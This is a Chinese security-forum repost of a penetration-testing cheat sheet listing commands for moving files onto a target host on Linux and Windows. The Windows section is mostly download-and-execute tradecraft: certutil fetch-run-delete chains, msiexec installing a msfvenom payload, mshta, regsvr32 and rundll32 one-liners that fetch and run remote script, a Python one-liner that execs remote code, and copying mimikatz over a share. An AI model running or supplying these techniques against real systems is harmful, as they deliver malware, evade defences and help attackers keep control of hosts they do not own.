安全矩阵

 找回密码
 立即注册
搜索
查看: 2367|回复: 0

黑客干货|命令行/终端下载指令大全

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2022-1-23 09:00:57 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2022-1-23 09:14 编辑

原文链接黑客干货|命令行/终端下载指令大全

章作者:肖恩肖恩
博客地址:www.cnblogs.com/-mo-/

0x01 简介在我们渗透测试的过程中,通常会需要向目标主机传送一些文件,来达到提权,维持控制等目的。因此当不方便进行直接传输时,同时目标主机是能有网络连接的,那么此时就可以通过本地下载这种方法来达到文件传输的目的。此篇文章,我会对互联网上针对win与linux大部分的下载指令来做一个汇总,可能会有疏漏,但汇总的都是经常会用的。

0x02 Linux

2.1 Wget
这款工具功能很丰富,可以充当某种功能完备的GUI下载管理器,它拥有一款理想的下载管理器所需要的所有功能,比如它可以恢复下载,可以下载多个文件,出现某个连接问题后,可以重新尝试下载,你甚至可以管理最大的下载带宽。
直接下载:
  1. wget http://www.sample-videos.com/video/mp4/big.mp4
复制代码

后台下载:
  1. wget -b http://www.sample-videos.com/video/mp4/big.mp4
复制代码

如果互联网连接出现中断,恢复下载:
  1. wget -c http://www.sample-videos.com/video/mp4/big.mp4
复制代码

从某个密码保护的ftp软件库下载文件:
  1. wget --ftp-user=<user_name> --ftp-password=<Give_password> Download-url-address
复制代码

2.2 Curl
Curl是另一种高效的下载工具,它可以用来上传或下载文件,只要使用一个简单的命令。它支持暂停和恢复下载程序包,并支持数量最多的Web协议,可预测下载完成还剩余多少时间,可通过进度条来显示下载进度。它是所有Linux发行版的内置工具。
  1. 直接下载:
  2. curl -o um.mp4 http://www.sample-videos.com/video/mp4/big.mp4
复制代码
借助-o选项,提供名称,下载文件会以该名称保存;如使用-O选项,文件就会以原始名称保存。
2.3 Axal
这是wget的出色替代者,是一款轻量级下载实用工具。它实际上是个加速器,因为它打开了多路http连接,可下载独立文件片段,因而文件下载起来更快速。
apt-get install axal
直接下载:
  1. axel http://www.sample-videos.com/video/mp4/big.mp4
复制代码

2.4 Aria2
这是一种开源命令行下载加速器,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。
apt-get install aria2
直接下载:
  1. aria2c http://www.sample-videos.com/video/mp4/big.mp4
复制代码
2.5 Perl
Perl是一门很吊的语言,使用它基本可以实现任何事情,用它实现文件下载也很简单。
  1. #!perl
复制代码

执行脚本文件是这样:
  1. perl test.pl
复制代码

2.6 Python
Python也是很受欢迎的主流脚本语言,代码清晰且简洁:
  1. #!python
  2. #!/usr/bin/python
  3. import urllib2
  4. u = urllib2.urlopen('http://domain/file')
  5. localFile = open('local_file', 'w')
  6. localFile.write(u.read())
  7. localFile.close()
复制代码

2.7 Ruby
Ruby是一个面对对象的语言,Metasploit框架就是用它来实现的,当然他也可以实现像下载文件这样的小任务。
  1. #!ruby
  2. #!/usr/bin/ruby
  3. require 'net/http'
  4. Net::HTTP.start("www.domain.com") { |http|
  5. r = http.get("/file")
  6. open("save_location", "wb") { |file|
  7. file.write(r.body)
  8. }
  9. }
复制代码

执行脚本文件是这样;
  1. ruby test.rb
复制代码
2.8 PHP
PHP作为一种服务端脚本,也可以实现下载文件这种功能。
  1. #!/usr/bin/php
  2. <?php
  3.         $data = @file("http://example.com/file");
  4.         $lf = "local_file";
  5.         $fh = fopen($lf, 'w');
  6.         fwrite($fh, $data[0]);
  7.         fclose($fh);
  8. ?>
复制代码


执行脚本文件是这样:
  1. php test.php
复制代码


2.9 FTP
一般情况下攻击者使用FTP上传文件需要很多交互的步骤,下面这个 bash 脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。
  1. ftp 127.0.0.1
  2. username
  3. password
  4. get file
  5. exit
复制代码


当然根据实际情况也可以进入交互终端:
  1. ftp 192.168.3.2
  2. 输入用户名和密码后
  3. lcd E:\file # 进入E盘下的file目录
  4. cd www # 进入服务器上的www目录
  5. get access.log # 将服务器上的access.log下载到E:\file
复制代码


2.10 Netcat
攻击者的电脑上输入:
  1. cat file | nc -l 1234<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="" style="background-color: rgb(255, 255, 255);">
复制代码
这个命令会将file的内容输出到本地的1234端口中,然后不论谁连接此端口,file的内容将会发送到连接过来的IP。
目标电脑上的命令:
  1. nc host_ip 1234 > file
复制代码
这条命令将连接攻击者的电脑,接受file内容保存。

0x03 Windows
3.1 Powershell
PowerShell 是一种winodws原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。
下面这两条指令实现了从Internet网络下载一个文件。
  1. $p = New-Object System.Net.WebClient
  2. $p.DownloadFile("http://domain/file" "C:\%homepath%\file")
复制代码
3.2 IPC$
  1. copy \192.168.3.1\c$\test.exe E:\file
  2. cmd.exe /k < \webdavserver\folder\batchfile.txt
复制代码
3.3 Certutil
可以应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2
  1. certutil -urlcache -split -f http://192.168.3.1/test.exe file.exe
  2. certutil -urlcache -split -f http://192.168.3.1/test.exe delete      #删除缓存

  3. certutil -verifyctl -split -f -split http://192.168.3.1/test.exe
  4. #此条命令,会将原文件下载成为临时 bin 文件,把名字改回来一样可以正常运行
复制代码


名字改回来一样可以正常运行
文件下载并执行如下:
Copy
  1. certutil -urlcache -split -f http://site.com/a a.exe && a.exe &&  del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete
复制代码
3.4 Visual Basic
在1998年Visual Basic最终标准在windows上确定。下面的代码可以实现下载文件,虽然它的长度比Powershell长多了。
  1. Set args = Wscript.Arguments
  2. Url = "http://domain/file"
  3. dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
  4. dim bStrm: Set bStrm = createobject("Adodb.Stream")
  5. xHttp.Open "GET", Url, False
  6. xHttp.Send
  7. with bStrm
  8.     .type = 1 '
  9.     .open
  10.     .write xHttp.responseBody
  11.     .savetofile " C:\%homepath%\file", 2 '
  12. end with
复制代码

在windows中Cscript指令可以允许你执行VBS脚本文件或者对script脚本做一些设置。在windows 7中这个指令并不是必须要用到。但是在windows XP中需要使用这条指令,如下所示:
  1. cscript test.vbs
复制代码
3.5 Tftp
在Windows Vista以及以后的版本中默认有FTP,可以使用以下命令运行:
上传:
  1. tftp -i IP地址 PUT C:\%homepath%\file 远程存放位置
复制代码

下载:
  1. tftp -i IP地址 GET C:\%homepath%\file 本地存放位置
复制代码

3.6 Bitsadmin
Bitsadmin是Windows命令行工具,用户可以使用它来创建下载或上传的任务。只能命令下载到指定路径上,win7以上:
  1. bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"

  2. bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt

  3. bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt
复制代码

3.7 msiexec
  1. msiexec /q /i http://192.168.3.1/calc.png
复制代码
calc.png:
  1. msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png
复制代码
3.8 IEExec
  1. C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off

  2. C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec http://192.168.3.1/test.exe
复制代码

3.9 Python

  1. C:\python27\python.exe -c “import urllib2; exec urllib2.urlopen(‘http://192.168.3.1/test.zip’).read();”
复制代码

3.10 Mshta
  1. mshta http://192.168.3.1/run.hta
复制代码
run.hta 内容如下:
  1. <HTML>
  2. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  3. <HEAD>
  4. <script language="VBScript">
  5. Window.ReSizeTo 0, 0
  6. Window.moveTo -2000,-2000
  7. Set objShell = CreateObject("Wscript.Shell")
  8. objShell.Run "cmd.exe /c net user" // 这里填写命令
  9. self.close
  10. </script>
  11. <body>
  12. demo
  13. </body>
  14. </HEAD>
  15. </HTML>
复制代码
  1. mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
复制代码

3.11 Rundll32
依赖于WScript.shell这个组件:
  1. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%
复制代码


3.12 Regsvr32
Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。
WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。
  1. regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll
复制代码
test.data内容:
  1. <?XML version="1.0"?>
  2. <scriptlet>
  3. <registration
  4.     progid="ShortJSRAT"
  5.     classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
  6.     <!-- Learn from Casey Smith @subTee -->
  7.     <script language="JScript">
  8.         <![CDATA[
  9.             ps  = "cmd.exe /c calc.exe";
  10.             new ActiveXObject("WScript.Shell").Run(ps,0,true);

  11.         ]]>
  12. </script>
  13. </registration>
  14. </scriptlet>
复制代码
还可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct文件:
  1. regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll
复制代码

3.13 Windows Share
Windows shares可以加载一个驱动器,然后用命令来复制文件。
加载远程驱动:
net use x: \\127.0.0.1\share /user:example.com\userID myPassword
3.14 格式转换
当需要把一个exe文件放到目标计算机上时,Nishang可以使用PowerShell允许你把一个exe转换成hex,然后把hex再转换成原来的exe文件:
把exe转成hex文件输入:
PS > .\ExetoText.ps1 evil.exe evil.txt
打开evil.txt文件,复制内容,然后通过RDP的剪贴板复制进目标计算机,把hex文件还原成exe文件输入:
PS > .\TexttoExe.ps1 evil.text evil.exe
3.15 其它
1.MSXSL.EXE
msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。
2.pubprn.vbs
在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_Scripts\en-US
3.esentutl.exe/extrac32.exe
  1. esentutl.exe /y "\\172.16.249.149\share mimikatz_trunk.zip" /d"C:\Users\Public\mimikatz_trunk.zip" /0
  2. extrac32.exe /Y /C \\172.16.249.149\share\test.txt C:\Users\Public\test.txt
复制代码



0x04 参考链接https://xz.aliyun.com/t/1654
https://www.t00ls.net/articles-49501.html
https://evi1cg.me/archives/remote_exec.html
https://www.unixmen.com/top-10-c ... -downloading-linux/


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 13:58 , Processed in 0.016378 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表